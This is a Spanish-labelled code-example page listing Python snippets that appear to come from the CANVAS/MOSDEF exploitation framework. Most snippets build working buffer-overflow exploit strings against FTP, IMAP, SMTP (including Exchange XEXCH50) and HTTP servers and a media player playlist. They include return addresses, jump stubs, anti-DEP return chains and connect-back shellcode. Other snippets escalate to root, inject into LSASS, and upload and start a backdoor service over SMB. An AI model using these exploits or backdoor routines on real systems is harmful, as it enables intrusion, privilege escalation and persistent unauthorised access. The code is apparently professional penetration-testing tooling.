Ejemplo n.º 1
0
    def createRemoteLibc(self):
        ndx = 0
        libc = []
        libc_buffer = []
        import mosdef
        BASE_ADDRESS = 0x60400000L  # just some random address that we expect not
        # to be remotely mmaped

        self.compilelibc = 1
        for ke in self.localfunctions.keys():
            suffixtype = self.localfunctions[ke][0]
            suffixcode = self.localfunctions[ke][1]
            if suffixtype == "asm":
                buf = mosdef.assemble(suffixcode, self.arch)

            elif suffixtype == "c":
                code = "jump %s\n" % ke
                code += mosdef.compile_to_IL(suffixcode, {},
                                             self,
                                             None,
                                             not_libc=0)

                code = self.compile_to_ASM(code)

                buf = mosdef.assemble(code, self.arch)

                # IMPORTANT: never forget to clearfunctioncache
            else:
                continue

            libc.append("libc!" + ke)
            self.remotefunctioncache["libc!" + ke] = ndx + BASE_ADDRESS
            libc_buffer.append(buf)
            ndx += len(buf)

        self.clearfunctioncache()

        self.compilelibc = 0
        libc_buffer = "".join(libc_buffer)

        # mapping the libc
        self.log("Remote libc size: 0x%08x" % ndx)
        ret = self.mmap(addr=BASE_ADDRESS, needed=ndx)
        if ret == 0xFFFFFFFFL:
            raise Exception, "Failed to mmap libc at address 0x%08x with size: %d" % (
                BASE_ADDRESS, ndx)

        self.remoterecv(self.fd, ret, ndx, libc_buffer)

        self.log("MOSDEF libc mapped at address: 0x%08x" % ret)

        # Instead of patching, everything, i can try to mmap at a know address,
        # in case it doesn't work, i can re patch with the given address.

        if ret != BASE_ADDRESS:
            self.log("Repatching the remotelibc")
            for ke in libc:
                self.remotefunctioncache[
                    ke] = self.remotefunctioncache[ke] - BASE_ADDRESS + ret
Ejemplo n.º 2
0
    def makesploit(self):
        """
        Construct the attack
        """
        ver = self.versions[self.version]

        #self.log("Size of shellcode: 0x%x" % len(self.encodedsearchcode) )

        if self.version == 1:
            import mosdef
            code = mosdef.assemble(
                "movl 0x74(%esp), %eax\n subl $-0xb7, %eax \n call %eax",
                "X86")
            #self.encodedsearchcode = "A" * len(self.encodedsearchcode)
            stack = intel_order(ver[2]) + code + self.encodedsearchcode

        #elif self.version == 2:
        # retn : intel_order(0x629c127a)
        #stack  = intel_order(0x5ad7ab6a) + intel_order(0x7cb5ba82) +  intel_order(0x7c91d3f8) + "A" * 0x100
        #stack += "\xff\xff\xff\xff"  + "B" * 0x100
        #stack = "A" * 0x200
        #+ "A" * 0x54 + intel_order(0x77e3762b) + shellcode
        #stack = "COCA" + "B" * 0x100 + "C" * 0x100 + "D" * 0x100
        #self.log("Attacking version %s" % info)

        self.log("Encode search code: %d" % len(self.encodedsearchcode))
        sploitstring = "LIST C " + "B" * ver[1] + stack + "\r\n"

        return sploitstring
Ejemplo n.º 3
0
    def write4(self,what,  where, myself, size):
        self.s = self.gettcpsock() # socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
        try:
            self.s.connect( (self.host, self.port))
        except:
            self.log("Could not connect")
            return 0
       
        # size DOES matter :>
        self.s.send(struct.pack("!L", size))
        
        buf  = ""
        buf += "AA" + chr(0xff) + "A"
        
        # Stupid Pointer that trigger Microsoft's bug (tm)
        buf += struct.pack("!L", myself)
        self.log("Guessing what: 0x%08x where: 0x%08x myself: 0x%08x with size: 0x%x" % (what,  where, myself, size))
                    
        # WHERE - 0x48
        
        write4buf =""
        write4buf += struct.pack("L", where-0x48)*9 # value must be -0x48
        # WHAT
        write4buf += struct.pack("L", what) *13 # 16 bytes long

        #buf+= write4buf * (0x2E8*2) 
        buf += write4buf * ( (size*5/8)/len(write4buf))
        
        jmp=mosdef.assemble("jmp $0x6B", "X86")
        buf += jmp * ( (size - len(buf) - len(self.shellcode)-0x6c) /len(jmp)) 
        buf += "H" * 0x6C +  "A" * ((size - len(buf) - len(self.shellcode)-0x6c) % len(jmp))
        buf += self.shellcode # SHELLCODE :>
        
        self.s.send(buf)
Ejemplo n.º 4
0
    def makesploit(self):
        """
        Construct the attack
        """
        EIP = intel_order(self.versions[self.version][1])
        EIPLOC = self.versions[self.version][2]
        SHELLOC = self.versions[self.version][3]
        jmpnum = SHELLOC - (EIPLOC + 4 + 8
                            )  #calculate how far back we have to jmp
        #is this going to cause problems with Python 2.4?
        jmpbackcode = "jmp $0x%8.8x" % uint32(jmpnum)
        jmpback = mosdef.assemble(jmpbackcode, "X86")
        print "jmpback: %s" % hexprint(jmpback)

        #controls the stack overflow
        attackstring = "A" * 0x3ff
        attackstring = stroverwrite(attackstring, self.encodedsearchcode, 20)
        attackstring = stroverwrite(attackstring, "\xeb\x04", EIPLOC - 2)
        attackstring = stroverwrite(attackstring, EIP, EIPLOC)
        attackstring = stroverwrite(attackstring, jmpback, EIPLOC + 4)

        #{{S,S,S},I,{{S,S},S,S,I,S,S,S,({S,S}),B,({S,S,I})},I,S,I,B,B,B,B,B}
        request = "{{`A`,`DEFG`,`EGQE`},2,{{`A`,`" + attackstring + "`},`A`,`A`,4,`A`,`a`,`A`,({`a`,`a`}),1,({`A`,`a`,4})},2,`a`,3,1,1,1,1,1}"

        #there is some really buggy code in the program that does an atoi on the first 16 bytes you send it
        #however, they don't null terminate your string, so you end up atoiing <your string><some random pointer>
        #which is crazy and so we have to work around it by only using 15 bytes and adding a space
        sploitstring = "%15s " % (len(request))
        sploitstring += request
        #self.log("Sending: %s"%sploitstring)

        return sploitstring
Ejemplo n.º 5
0
    def makesploit(self):
        """
        Construct the attack
        """
        ver = self.versions[self.version] 
        
        #self.log("Size of shellcode: 0x%x" % len(self.encodedsearchcode) )

        if  self.version == 1:
            stack = intel_order( ver[ 1 ] ) + "A" * 0x8 + self.shellcode

        elif self.version == 2:
        # addies:
            info, addy1, addy2, addy3, addy4 = ver
            # addy1: mov al,1 / ret
            # addy2: push %esp/ pop %ebp / ret 18
            # addy3: anti dep trick
            # addy4: jmp %esp
            import mosdef
            code = mosdef.assemble("jmp 0x2a", "X86")
            stack = intel_order(addy1) + "\xff\x42\xff\x42" + intel_order(addy2) + intel_order( addy2 + 2 )
            stack+= intel_order(addy4) + "AAAA" + code +  "A"*0xe + intel_order(addy3) + "A" * 0x20 +  self.shellcode
            

        #self.log( "Encode search code: %d" % len(self.encodedsearchcode) )
        sploitstring = "SIZE //" + "B" * (512+13)  + stack + "\r\n"

        return sploitstring
Ejemplo n.º 6
0
    def makesploit(self):
        """
        Construct the attack
        """
        ver = self.versions[self.version]

        #self.log("Size of shellcode: 0x%x" % len(self.encodedsearchcode) )

        if self.version == 1:
            stack = intel_order(ver[1]) + "A" * 0x10 + self.shellcode

        elif self.version == 2:
            info, addy1, addy2, addy3, addy4, addy5 = ver
            # Five different ret into lib address are needed for this special exploit:
            # The first one set ESP = EBP, and then do a retn 0x18
            # The second one put 1 into AL
            # The 3rd one, increase ESP even more by doing a retn 0xc
            # The 4rd one, the anti-DEP trick (which muck up the stack a lil bit)
            # The 5th one, is the jmp ESP which end up landing at our "jmp $0x22", and that jumps exactly into our shellcode
            import mosdef
            jmp = mosdef.assemble("jmp $0x22", "X86")
            stack = intel_order(addy1) + "\xff\xff\xff\xff" * 4 + intel_order(
                addy2)
            stack += intel_order(addy5) + "AAAA" + jmp + "A" * 0xe
            stack += intel_order(addy3) + intel_order(addy4)
            stack += "ABCD" * 3 + self.shellcode

            self.log("Attacking version %s" % info)
        sploitstring = "USER " + "B" * (0xe3 - 0xc) + stack + "\r\n"
        return sploitstring
Ejemplo n.º 7
0
    def makesploit(self):
        """ Construct the attack, imail will tack \Users on the end of the string """

        geteip = self.versions[self.version][1]

        #jump back to just before some corrupted data using this writable address
        offset = 492

        sploitstring = "BBBB" + "A" * (700 - 4)
        writeoff = 500
        writeable = 0x7ffdf164  #keep this far away from the real PEB

        jmpoff = 676

        if len(self.shellcode) > jmpoff:
            self.log("Serious error: Shellcode length is > offset")

        import mosdef
        jmpstr = mosdef.assemble("jmp $-%d\n" % (jmpoff + 5), "X86")
        if hasbadchar(jmpstr, self.badstring):
            self.log("Warning: Bad char detected in jmpstr")
        print "jmpstr = %s" % hexprint(jmpstr)

        sploitstring = stroverwrite(sploitstring, self.shellcode, 0)
        sploitstring = stroverwrite(sploitstring, intel_order(geteip), offset)
        sploitstring = stroverwrite(sploitstring, intel_order(writeable),
                                    writeoff)
        sploitstring = stroverwrite(sploitstring, jmpstr, jmpoff)

        return "001 LOGIN \":%s\" \"password\"\r\n" % sploitstring
Ejemplo n.º 8
0
 def createxPacket1(self):
     buf = '' 
     buf+="rcpt to: <"
     buf+= "A" * 4098
     buf+=mosdef.assemble("jmp $8", "X86")
     self.info,self.eip = targets[self.version]
     buf+= intel_order(self.eip)
     buf+= "\x90" * 10
     buf+=self.createShellcodexPacket1()
     buf+= "C" * 2000
     buf+="\n"
     return buf
Ejemplo n.º 9
0
 def createxPacket1(self):
     buf = ''
     buf += "GET / HTTP/1.0\r\n"
     buf += "Host: 127.0.0.1: "
     buf += "A" * (2 + 5 * 4)
     buf += "\x90" * 2
     buf += mosdef.assemble("jmp $8", "X86")
     buf += intel_order(0x602012bc)
     buf += "\x90" * 10
     buf += self.createShellcodexPacket1()
     buf += "A" * 0x200
     buf += "\r\n\r\n"
     return buf
Ejemplo n.º 10
0
    def createShellcodexPacket1(self):
        badstring = self.xpacket1badchars
        self.shellcode = self.createWin32Shellcode(badstring, self.localhost,
                                                   self.localport)
        # we include an esp adjust before the encoder
        # avoiding nul bytes

        adjust = mosdef.assemble(
            "xorl %eax,%eax\nmovb $0x10,%ah\nsubl %eax,%esp\n", "X86")
        for c in badstring:
            if c in adjust:
                print "[!] BAD CHAR IN ADJUST STUB!"
        self.shellcode = adjust + self.shellcode

        return self.shellcode
Ejemplo n.º 11
0
 def createShellcode(self):
     setids = """
     xorl %eax,%eax
     xorl %ebx,%ebx
     movb $23,%al // setuid(0)
     int $0x80
     xorl %eax,%eax
     xorl %ebx,%ebx
     movb $23,%al // setuid(0) .. have to do it twice for some wacky reason
     int $0x80
     xorl %eax,%eax
     xorl %ebx,%ebx
     movb $46,%al
     int $0x80 // setgid(0)
     """
     self.shellcode = mosdef.assemble(
         setids, "X86") + self.createLinuxGOShellcode('')
     return self.shellcode
Ejemplo n.º 12
0
    def createxPacket1(self):
        buf = ''
        buf += "[playlist]\n"
        buf += "File1=\\\\"

        shellcode = self.createShellcodexPacket1()

        buf += "A" * (1022 - len(shellcode))
        buf += shellcode
        #buf += intel_order(0x773D10A4) #jmp esp @ shell32 EN (XP SP1)
        #buf += intel_order(0x773A4540) #jmp esp @ shell32 ES (XP SP0)
        buf += intel_order(0x779DD57F)  #jmp esp @ shell32 ES/ES (XP SP0-SP1)
        buf += mosdef.assemble("jmp $-%d" % (5 + 4 + len(shellcode)),
                               "X86")  # 5 bytes for relative jmp itself
        buf += "C" * 24

        buf += "\nTitle1=VSPLOIT"
        buf += "\nLength1=FFF\nNumberOfEntries=1\nVersion=2"
        return buf
Ejemplo n.º 13
0
    def createShellcode(self):
        host = self.callback.ip
        port = self.callback.port
        self.localhost = host
        self.localport = port

        sc = shellcodeGenerator.win32()

        shellcode = self.createHeapSafeInjectIntoProcess(
            self.badstring, host, port, smallcode=0, processname="LSASS.EXE")

        import mosdef
        #           GET EIP, MOV "ret", -0x10(%eip)
        selfmodify = "\xe8\xff\xff\xff\xff\xc3\x5f" + mosdef.assemble(
            "movl $0x4141feeb, -0x10(%edi)", "X86")

        self.shellcode = "\x42" * 0x50 + selfmodify + shellcode

        self.log("length of real shellcode: %d" % (len(self.shellcode)))
        return self.shellcode
Ejemplo n.º 14
0
    def MemLeak(self, size):
        try:
            s = smtplib.SMTP(self.host, self.port)
        except:
            self.log("Could not connect for memleak...")
            return 0
        s.sock.set_timeout(20)

        s.ehlo()
        if not s.has_extn("XEXCH50"):
            return 0
        s.docmd("MAIL FROM: Administrator")
        s.docmd("RCPT TO: Administrator")

        s.docmd("XEXCH50 %d 2" % size)
        size = size - 2
        opcode = mosdef.assemble("jmp $0x41", "X86")
        buf = opcode * (
            (size - len(self.shellcode)) / len(opcode)) + self.shellcode
        buf += "Z" * (len(buf) % len(opcode))
        s.docmd(buf)
        return 1
Ejemplo n.º 15
0
    def createMOSDEFPE(self, filename, code, vars={}):
        from win32peresolver import win32peresolver

        # shellcode, importante=[ ("advapi32.dll", ["RevertToSelf"])] ):

        # Mixing MOSDEF with PElib.
        # Concerning Mosdef:
        #  Basically, we have a win32peresolver that pass some fixed address (that would be our PE PLT)
        # and thats returned to the compile code. The win32peresolver put all this address on a cached.
        #
        # Concerning PE
        #  First of all, we need to compile before everything, cause we need the list of imported functions
        #  So, we send mosdef a hardcoded address(0x401A0) offset: 0x1A0 which is where the .text section start.
        #  At that address, will be our PLT (jmp *(IAT_entry)), so we have to point the Entry Address to
        #  .code + function_number * sizeof(jmp *(IAT_entry)). So we land on the begging on the shellcode.
        #
        #  To discover where the IAT would be (we need to know this, before creating the PLT), we need to calculate
        #  where the First thunk
        #
        #              buf+= secondpad
        #              buf+= data_buf
        #
        #              for a in imports:
        #                      buf+= a[0].raw()
        #              buf+= import_str
        #
        #              # ORIGINAL THUNK
        #             for a in IIBN:
        #                     for b in a: # Listing function
        #                              buf+=struct.pack("L",b[1])
        #                      buf+=struct.pack("L",0x0)
        #              # FIRST THUNK
        #              for a in IIBN:
        #                      for b in a: # Listing function
        #                              buf+=struct.pack("L",b[1])
        #                      buf+=struct.pack("L",0x0)

        # side note: .code must be aligned

        image_base = 0x40000
        plt_len = len(mosdef.assemble("jmp *(0x01020304)", "X86"))
        plt_entry = 0x1A0 + image_base

        w = win32peresolver(plt_entry)
        w.setPLTEntrySize(plt_len)

        shellcode = w.compile(code, vars)

        # We need to pass the functioncache[func] = address into [ ("advapi32.dll", ["RevertToSelf"])] format
        # Yeah, probably you can do it better or with one fancy python line
        dll = {}
        func_by_addr = {}
        functions_num = 0

        for a in w.remotefunctioncache.keys():
            s = a.split("|")
            if dll.has_key(s[0]):
                dll[s[0]].append(s[1])
            else:
                dll[s[0]] = [s[1]]
            functions_num += 1
            func_by_addr[a] = w.remotefunctioncache[a]

        importante = []
        for a in dll.keys():
            importante.append((a, dll[a]))
        shellcode = "\x90" * (plt_len * functions_num) + shellcode

        # So, by now we have important in the fancy format [ ('dll name', ['functions'] ) ]
        # And also, func_by_addr = {dllname!function]: function_plt }, and also functions_num has the size of functions

        idx = 0
        # MZ
        mz = MZ()
        mz.e_lfanew = mz.getSize()

        idx += mz.getSize()

        # PE Image Header
        imgHdr = IMGhdr()
        imgHdr.Machine = 0x014C  # i386
        imgHdr.NumberOfSections = 0x2  # Code and data for now (Maybe we can do it only one)
        imgHdr.Characteristics = 0x0102  # Executable on 32-bit machine

        idx += imgHdr.getSize() + 4  # for PE_MAGIC

        # Optional Header
        imgOpt = IMGOPThdr()
        imgOpt.SectionAlignment = 0x20  # Thats our aligment
        imgOpt.FileAlignment = 0x20
        imgOpt.MajorOperatingSystemVersion = 0x4  # NT4.0
        imgOpt.MajorSubsystemVersion = 0x4  # Win32 4.0
        imgOpt.Subsystem = 0x3
        imgOpt.SizeOfStackReserve = 0x100000
        imgOpt.SizeOfStackCommit = 0x1000
        imgOpt.SizeOfHeapReserve = 0x100000
        imgOpt.SizeOfHeapCommit = 0x1000
        imgOpt.NumberOfRvaAndSizes = 0x10

        idx += imgOpt.getSize()

        # Directories
        directories = []
        for a in range(0, imgOpt.NumberOfRvaAndSizes):
            directories.append(Directory())

        idx += directories[0].getSize() * 16

        # .code section
        code = Section()
        code.Name = ".text"
        code.Characteristics = 0x60000020L  # Code | Executable | Readable
        idx += code.getSize()

        # .data section
        data = Section()
        data.Name = ".data"
        data.Characteristics = 0xC0000040L  # Initialized | Readable | Writeable

        idx += data.getSize()

        code_offset = self.align(idx, imgOpt.FileAlignment)
        firstpad = "\0" * (code_offset - idx)
        idx = code_offset

        # we can fill data_buf with our data and that will be loaded into mem :>
        idx += len(shellcode)
        data_offset = self.align(idx, imgOpt.FileAlignment)
        secondpad = "\0" * (data_offset - idx)
        idx = data_offset
        data_buf = ""
        idx += len(data_buf)

        # Creating the list of ImportDescriptors
        import_offset = idx
        imports = []
        ndx = 0
        import_str = ""

        for a in importante:
            i = ImportDescriptor()
            i.ForwarderChain = 0xFFFFFFFFL
            imports.append((i, ndx))

            ndx += len(a[0] + "\0")  # We put on NDX, an index of the name string, so at the end
            #  to find a string, we will do import_str_offset + this_index

            import_str += a[0] + "\0"  # Collecting dll names

        # The final importdescriptor
        imports.append((ImportDescriptor(), 0))
        idx += i.getSize() * len(imports)

        import_str_offset = idx
        idx += len(import_str)

        off = self.align(idx, imgOpt.FileAlignment)
        import_str += "\0" * (off - idx)
        idx = off

        # Original Thunks
        original_thunks_offset = idx
        original_thunk = []

        for a in importante:
            original_thunk.append(idx)

            idx += len(a[1]) * 4 + 4

        # First thunk offset
        first_thunks_offset = idx
        first_thunk = []
        plt_ndx = 0x1A0
        for a in importante:
            first_thunk.append(idx)
            for b in a[1]:
                dupla = "%s|%s" % (a[0], b)

                if not func_by_addr.has_key(dupla):
                    raise PEError, "Error on Thunk"
                func_by_addr[func_by_addr[dupla]] = "jmp *(0x%08x)\n" % (idx + image_base)
                idx += 4
            idx += 4
        # crafting a PLT
        PLT = ""
        for a in range(plt_entry, plt_entry + plt_len * functions_num, plt_len):
            if not func_by_addr.has_key(a):
                raise PEError, "func_by_addr doesn't have a PLT address (%x)" % a
            PLT += mosdef.assemble(func_by_addr[a], "X86")
        shellcode = PLT + shellcode[plt_len * functions_num :]
        print "Shellcode size (with PLT): %d" % len(shellcode)

        # Creating IIBN
        IIBN = []
        for a in importante:
            tbl = []
            IIBN.append(tbl)
            for b in a[1]:
                iibn = ImageImportByName()
                iibn.Name = b  # "RevertToSelf"
                iibn.Hint = 1
                tbl.append((iibn, idx))
                idx += iibn.getSize()

        endpad = "\0" * (self.align(idx, imgOpt.FileAlignment) - idx)

        # Filling the gaps
        imgOpt.SizeOfCode = len(shellcode) + len(secondpad)
        imgOpt.BaseOfCode = code_offset
        # Entry point = code_offset + PLT_entry size
        imgOpt.AddressOfEntryPoint = code_offset + plt_len * functions_num

        imgOpt.BaseOfData = data_offset
        imgOpt.ImageBase = image_base
        imgOpt.SizeOfInitializedData = 0x20
        imgOpt.SizeOfImage = 0xC  #

        imgOpt.SizeOfHeaders = code_offset
        imgOpt.NumberOfRvaAndSizes = 0x10

        # Import Directory

        directories[1].VirtualSize = directories[1].Size = idx - import_offset
        directories[1].VirtualAddress = import_offset

        # code and data
        code.VirtualAddress = code_offset
        code.VirtualSize = code.SizeOfRawData = imgOpt.SizeOfCode
        code.PointerToRawData = code_offset

        data.VirtualAddress = data_offset
        data.VirtualSize = data.SizeOfRawData = idx - data_offset  # len(data_buf)
        data.PointerToRawData = data_offset

        imgOpt.SizeOfImage = idx  #

        # Fixing imports with thunk info
        for a in range(0, len(imports) - 1):
            imports[a][0].OriginalFirstThunk = original_thunk[a]
            imports[a][0].FirstThunk = first_thunk[a]
            imports[a][0].Name = import_str_offset + imports[a][1]

        # RAWing...
        buf = mz.raw() + struct.pack("L", PE_MAGIC) + imgHdr.raw() + imgOpt.raw()
        for a in directories:
            buf += a.raw()
        buf += code.raw()
        buf += data.raw()
        buf += firstpad
        buf += shellcode
        buf += secondpad
        buf += data_buf

        for a in imports:
            buf += a[0].raw()
        buf += import_str

        # ORIGINAL THUNK
        for a in IIBN:
            for b in a:  # Listing function
                buf += struct.pack("L", b[1])
            buf += struct.pack("L", 0x0)

        # FIRST THUNK
        for a in IIBN:
            for b in a:  # Listing function
                buf += struct.pack("L", b[1])
            buf += struct.pack("L", 0x0)

        # IIBN
        for a in IIBN:
            for b in a:
                buf += b[0].raw()
        buf += endpad

        # Done, dumping to a file
        f = open(filename, "wb")
        f.write(buf)
        f.close()
        return len(buf)
Ejemplo n.º 16
0
    def install_service(self, smb,\
                        servicename='MOSDEFService',\
                        displayname='MOSDEF Service',\
                        binaryname='mosdefservice.exe',\
                        port=1234, \
                        password='******'):
        import mosdef
        # prepare service binary
        self.log('Using port %d and password %s' % (port, password))
        sourcefile  = 'backdoors/mosdefservice.exe'
        try:
            data = file(sourcefile, 'rb').read()
        except:
            self.log('Could not read service binary')
            return False
        
        self.log('Using port %d for MOSDEFService' % port)
        data        = data.replace(mosdef.assemble('push $5555', 'X86'),\
                                   mosdef.assemble('push $%d' % port, 'X86'))
        oldpassword = '******'*16 + 'B'*16
        # pad password to 32 bytes
        data        = data.replace(oldpassword, password + '\x00'*(32-len(password)))
        sourcefile  = sourcefile + '.port_%d' % port
        destfile    = binaryname
        try:
            file(sourcefile, 'wb+').write(data)
        except:
            self.log('Could not write service binary')
            return False
            
        smb_upload  = self.engine.getModuleExploit('upload')
        smb_service = self.engine.getModuleExploit('installremotemosdefservice')
        smb_service.link(self)
        smb.treeconnect('ADMIN$')
        vfs = self.get_smb_node(smb)
        smb_upload.link(self, nodes=[vfs])
        smb_upload.argsDict['source']       = sourcefile
        smb_upload.argsDict['destfilename'] = destfile
        if not smb_upload.run():
            self.log('Could not upload trojan binary!')
            return False
        else:
            self.log('Uploaded trojan binary (%s) to %s' % (sourcefile, destfile))
            
        # connect to the pipe
        if not smb.pipeconnect('\\svcctl'):
            self.log('Could not connect to service control pipe!')
            return False
        self.log('Connected to service control pipe ...')
        
        # bind
        if not smb.dcebind('367abb81-9844-35f1-ad32-98f038001003', 2, 0, 0):
            self.log('Could not bind to UUID!')
            return False
        self.log('Bound to UUID ...')        

        # we already connected our SMB session, so we just set SMB and KEYWORD
        auth_type = libdcerpc.RPC_C_AUTHN_NONE if self.covertness < 2 else libdcerpc.RPC_C_AUTHN_WINNT
        auth_level = libdcerpc.RPC_C_AUTHN_LEVEL_DEFAULT if self.covertness < 2 else libdcerpc.RPC_C_AUTHN_LEVEL_PKT_PRIVACY
        smb_service.myDCE = libdcerpc.DCERPC(u'ncacn_np:127.0.0.1[\\svcctl]', self.gettcpsock())
        smb_service.myDCE.bind(u'367abb81-9844-35f1-ad32-98f038001003', u'2.0', auth_type=auth_type, auth_level=auth_level)

        #smb_service.myDCE.mysmb     = smb
        #smb_service.myDCE.keyword   = 'ncacn_np'

        from win32MosdefShellServer import SC_MANAGER_CREATE_SERVICE
        from win32MosdefShellServer import SERVICE_WIN32_OWN_PROCESS
        from win32MosdefShellServer import SERVICE_AUTO_START
        from win32MosdefShellServer import SERVICE_ERROR_IGNORE
        from win32MosdefShellServer import SERVICE_ALL_ACCESS
        from win32MosdefShellServer import SERVICE_BOOT_START
        from win32MosdefShellServer import SERVICE_AUTO_START
        pkt = smb_service.createOpenSCMPkt(accessmask=SC_MANAGER_CREATE_SERVICE)
        self.log("OpenSCManager sending %d bytes" % len(pkt))

        smb_service.myDCE.call(15, pkt, response=True)
        ret=smb_service.myDCE.reassembled_data

        success,policy_handle = smb_service.parseOpenSCMPkt(ret)
        if not success:
            self.log('Could not parseOpenSCMPkt!')
            return False
        
        self.log('We have a policy handle! Yay!')

        desiredaccess   = SERVICE_ALL_ACCESS
        atype           = SERVICE_WIN32_OWN_PROCESS
        errorcontrol    = SERVICE_ERROR_IGNORE
        starttype       = SERVICE_AUTO_START
        binarypath      = '%SYSTEMROOT%\\' + destfile
        self.log('Binary path: %s' % binarypath)
        loadorder       = 0
        dependencies    = None
        password        = None
        
        ret = smb_service.CreateService(policy_handle,\
                                        servicename,\
                                        displayname,\
                                        desiredaccess,\
                                        atype,\
                                        starttype,\
                                        errorcontrol,\
                                        binarypath,\
                                        loadorder,\
                                        dependencies,\
                                        servicename,\
                                        password)
        if ret not in [0,0x431]:
            self.log('Was unable to call CreateService!')
            return False
        self.log('Called create service successfully: %x ...' % ret)
        ret,handler = smb_service.OpenService(policy_handle,\
                                              servicename,\
                                              SERVICE_ALL_ACCESS) 
        if ret not in [0]:
            self.log('Was unable to call OpenService!')
            return False
        ret = smb_service.StartService(handler)        
        if not ret:
            self.log('Great MOSDEF success waiting on port %d!' % port)
        else:
            self.log('There was an error starting the MOSDEF service!')
            return False
           
        ret = smb_service.CloseServiceHandle(handler)           
        ret = smb_service.CloseServiceHandle(policy_handle)
                               
        return True
Ejemplo n.º 17
0
 def assemble(self, code):
     return mosdef.assemble(self.preprocess(code), self.arch)